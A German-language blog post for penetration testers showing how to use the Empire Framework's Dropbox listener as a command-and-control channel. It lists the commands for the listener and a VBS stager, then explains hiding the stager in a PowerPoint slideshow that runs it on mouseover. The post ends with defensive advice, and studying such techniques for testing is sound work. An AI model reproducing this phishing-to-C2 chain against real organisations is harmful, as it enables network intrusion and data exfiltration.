Penetrationstester müssen sich manchmal mit Szenarien befassen in denen der ausgehende Datenverkehr in Netzwerken blockiert oder sehr stark eingegrenzt wird. Häufig existieren dann nur bestimmte Freigaben auf freigegebene Webseiten (Whitelists) oder zu bestimmten externen Servern.
Ist dies der Fall, so können evtl. gesteuerte Zugriffe per DNS oder über File-Sharing-Services wie Dropbox bzw. Google Docs einen Datenaustausch ins externe Netzwerk (oder Internet) ermöglichen.
In diesem Blogeintrag möchte ich mich mit der Möglichkeit befassen, Dropbox als Plattform zum Austausch von Befehlen zu nutzen. Ein möglicher Angreifer wäre somit in der Lage, diese Funktionalität für böswillige Aktivitäten auszunutzen um somit Zugriff auf interne Netzwerke zu erlangen.
Mit dem Empire Framework ist dem Penetrationstester ein Werkzeug an die Hand gegeben, mit dem sich eine solches Szenario nachstellen lässt, um mögliche Auswirkungen im eigenen Netzwerk nachvollziehen zu können. In der Version 2.0 wurde der dbx Listener hinzugefügt, mit dem sich die Dopbox als „Command and Control Service“ ausnutzen lässt.
Wer noch nicht mit dem Empire Framework vertraut ist, den empfehle ich vorangegangen Beiträge oder meine Artikel in der Zeitschrift iX. Das Framework lässt sich auf einem Linux-System leicht installieren.
Möglicher Ablauf des Angriffs mittels des Empire Frameworks
- Der Angreifer verwendet das Empire Framework und richtet hier einen Dropbox Listener ein, der im Minutentakt mit dem Cloud-Service (Dropbox) kommuniziert.
- Der Angreifer erzeugt einen Stager, den getarnt als E-Mail an das Opfer verschickt wird. Denkbare Dateiformate wären bat, vbs, exe, hta. Alternativ kann er den Stager auch auf einem Webserver zum Download bereitstellen.
- Das Opfer führt den Stager auf seinem lokalen System aus und stellt somit eine (reverse) Verbindung zum Cloud-Service (z.B Dropbox) her.
- Die so etablierte Verbindung (im nachfolgenden Bild: Verbindung 1 und 3) wird für die indirekte Kommunikation zwischen Angreifer und Opfer genutzt. Je nach eingestellten Intervallen (siehe Listener Option DefaultDelay) ist mit einer zeitlichen Verzögerung zu rechnen.
In unserem Beispiel wird ein OLE-Objekt in eine MS-Powerpoit-Präsentation eingebunden, die dann als „Powerpoint-Bildschirmpräsentation“ (Dateiendung .ppsx) an das Opfer verschickt werden kann.
Warum als ppsx-Datei? Bei dieser Datei handelt es sich um ein PowerPoint Dokument, das im Open XML Format erstellt wurde. Sie kann entweder mit einer PowerPoint-Version ab 2007 oder den kostenlosen PowerPoint-Viewer geöffnet werden. Diejenigen Nutzer die kein MS-Office installiert haben nutzen letztere Methode, um sich trotzdem Präsentationen anschauen zu können.
Ein weiterer Vorteil für den Angreifer ist außerdem, dass in diesen Dokumenten sogenannte „Mouseover-Aktionen“ erzeugt werden können, die dann beim Aufruf des Dokumentes zum Einsatz kommen. So lassen sich durch reines Bewegen der Maus im Dokument Aktionen (wie z.B. Starten von Programmen etc.) auslösen, die vom Nutzer nur schwer zu beurteilen/beeinflussen sind. In der Praxis kommt es oft vor, dass Anwender die angezeigten Warnfenster falsch interpretieren bzw. schlimmstenfalls ignorieren.
Dropbox API Token einrichten
Um die Kommunikation über Dropbox als „Command&Control (C2)“ Instanz zu gewährleisten, muss man über einen entsprechenden Dropbox-Account verfügen. Hier sollte zunächst geklärt werden, ob die aktuellen Nutzerbestimmungen den Test für dieses Szenario zulassen. Demgegenüber steht eine vorsätzliche Nutzung zum kriminellen Einsatz, der selbstverständlich unter Strafe gestellt ist.
Hier geht es darum eine mögliche Gefahr aufzuzeigen, um das eignen Netzwerk zu schützen. Auch in diesem Fall gilt: “Kenne Deinen Gegner!“
Dieser Anleitung folgend sollte zunächst ein API-Schlüssel erstellt werden, der dann später als Option in den Listener integriert werden kann. Im Wesentlichen ist dies in folgenden Schritten zu erledigen:
- In Dropbox anmelden und unter „Entwickler“ den Punkt „My Apps“ aufrufen.
- Unter „Create App“ die „Dropbox API“ auswählen.
- Dann „App folder“ auswählen und hier unter “Name your app” einen Namen eintragen (z.B „MeineC2Instanz“), dann “Create app” anklicken.
- Dann im Aktenreiter “Settings”, Abschnitt “OAuth2,” “Generate access token” auf “Generate” klicken und hier einen neuen Token erstellen.
- Diesen Token extern abspeichern, um ihn später im Listener als Option einzufügen.
Listener und Stager im Empire Framework erstellen
Ist ein entsprechender API-Token erstellt, so kann im nächsten Schritt ein Listener im Empire Framework eingerichtet werden. Dazu sind folgende Befehle zu nutzen:
listeners
uselistener dbx
info
Nun wird der vorher erstellte API-Token als Option eingesetzt und abschließend der Listener erstellt. Optional sollte man den Namen des Listeners anpassen.
set Name Kali01
set APIToken hier_Token_eintragen
execute
Nun wird noch ein Stager benötigt, der auf dem Opfer-PC in irgendeiner Form „ausgeführt“ werden muss. Hier sind verschieden Varianten möglich. Wir entscheiden uns für den windows/launcher_vbs und schauen uns mit dem Befehl info die möglichen Optionen an. In der Option OutFile wird mit einem Dateinamen eingetragen, der später unserer fertige VBS-Datei gespeichert wird.
agents
usestager windows/launcher_vbs
info
set Listener Kali01
set OutFile /home/yourfile.vbs
execute
MS-Office Datei erstellen
Wir erstellen eine neue Präsentation. Der Inhalt kann natürlich beliebig gewählt werden. Als Beispiel reicht ein einfaches „Starting Presentation …“ aus. Dann wird ein Objekt eingefügt. Wir wählen hier: „Aus Datei erstellen“.
… fügen hier die erstellen vbs-Datei hinzu und klicken auf „Anderes Symbol“. Unter Dateiname suchen wir den Pfad mit dem MS-Office Programmdateien auf und wählen das gewünschte Symbol aus. Zusätzlich kann noch die Beschriftung geändert werden.
Als letzten Schritt klicken wir auf „Aktion“ und stellen unter den Aktionseinstellungen den Aktenreiter auf „Mouseover“ und in dem Feld Objektaktion auf „Inhalt aktivieren“.
Nun kann die Datei als „PowerPoint-Bildschimpräsentation“ gespeichert werden.
Bemerkung:
Man kann auch andere Objekte als Dateien einbinden. Denkbar wären Makros, Batch-Dateien oder ausführbare Programme. In der Regel erzeugen aber alle Aufrufe Warnfenster, die verschiedenartig ausfallen können. Der durch die vbs-Datei erzeugte Hinweis (siehe Video) ist eher moderater Natur und animiert auch einen erfahrenen Anwender möglicherweise zu einem Klick.
Fazit
Dieses Szenario zeigt mögliche Gefahren auf, die von vielen Unternehmen noch nicht erkannt worden sind. Wer Mitarbeiter eines Unternehmens aus dem internen Netzwerk den Zugriff auf externe Cloud-Diensten (wie z.B. Dropbox) ermöglicht, riskiert zunächst auch einen unkontrollierten Datenabfluss. Außerdem haben Angreifer die Möglichkeit (z.B durch Phishing-Angriffe), Schadcode auf PCs im internen Netzwerk einzuschleusen, die dann unbemerkt Verbindungen zu den Cloud-Diensten herstellen. Diese Datenverbindungen sind in der Regel verschlüsselt. IDS/IPS Sensoren könnten diesen Datenverkehr erkennen. Oftmals sind diese Filterregeln aber nicht aktiv, da sie sonst den gewünschten Zugriff auf den externen Cloud-Dienst blockieren bzw. eine hohe Anzahl von Events produzieren würden.
Da der Datenverkehr über https abgewickelt wird, könnte ein Proxyserver (mit Nutzer Authentifizierung) die Gefahr minimieren. Sollte ein Angreifer aber über Proxy-Daten verfügen, so ist auch hier kein Schutz möglich.
Das Video zeigt die Vorgehensweise: